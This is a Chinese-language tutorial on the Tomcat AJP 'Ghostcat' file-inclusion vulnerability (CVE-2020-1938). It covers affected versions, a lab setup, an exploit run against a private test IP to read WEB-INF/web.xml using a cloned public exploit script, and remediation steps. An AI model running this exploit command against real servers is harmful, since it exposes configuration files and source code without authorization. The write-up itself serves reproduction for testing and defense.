漏洞说明#
Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
漏洞危害#
由于Tomcat默认开启的AJP服务。端口号为8009,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web上的任意文件。
漏洞编号#
CVE-2020-1938
CNVD-2020-10487
影响范围#
该文件包含漏洞影响以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
漏洞复现#
环境 centos7 加 apache-tomcat-8.5.32
环境搭建#
centos7安装git,如果有git则不用安装
yum install git -y
安装完成后使用下面的命令克隆环境
git clone https://github.com/laolisafe/CVE-2020-1938
解压Apache
unzip apache-tomcat-8.5.32.zip
在Apache的bin目录下,添加执行权限,我这里给全部权限
启动Apache,注意有先安装java环境
sh startup.sh
查看端口,8009端口是开启的
漏洞利用#
下载exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我们这里读取WEB-INF/web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.248.129
解决方案#
1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、官方下载最新版下载地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下载
https://github.com/apache/tomcat/releases